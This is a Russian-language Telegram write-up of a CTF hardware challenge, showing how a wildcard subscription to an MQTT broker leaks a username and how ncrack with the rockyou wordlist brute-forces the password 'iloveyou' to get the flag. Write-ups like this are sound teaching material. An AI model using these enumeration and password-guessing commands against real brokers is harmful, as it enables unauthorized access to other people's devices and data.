Райтапы по CTF{2026}

#duckerzctf2026 #Hardware

Утёнок в тумане [клик]

Автор: @hun7_0r_b3_hun73d

В задаче нам дается ссылка

mqtt://94.19.79.169:20012

1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.

Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v

MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (#), который позволяет подписаться на все доступные топики.
Команда выше как раз выполняет подписку на все топики, которые есть в брокере.

2. Слушаем трафик. Пример того, что будет видно после подписки:

/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}

Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в /users/duck/secret.

3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага -u duck_fan), брокер укажет на необходимость введения пароля.
Можно подобрать его подобной командой:

ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v

В ответ получим, что пароль — iloveyou.

4. Авторизуемся с этим паролем:

-u 'duck_fan' -P 'iloveyou'

и получаем флаг.

Шаги 3–4 показаны на скриншоте.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube

Please open Telegram to view this post

VIEW IN TELEGRAM

1🔥11❤9😱22

3.12K views12:35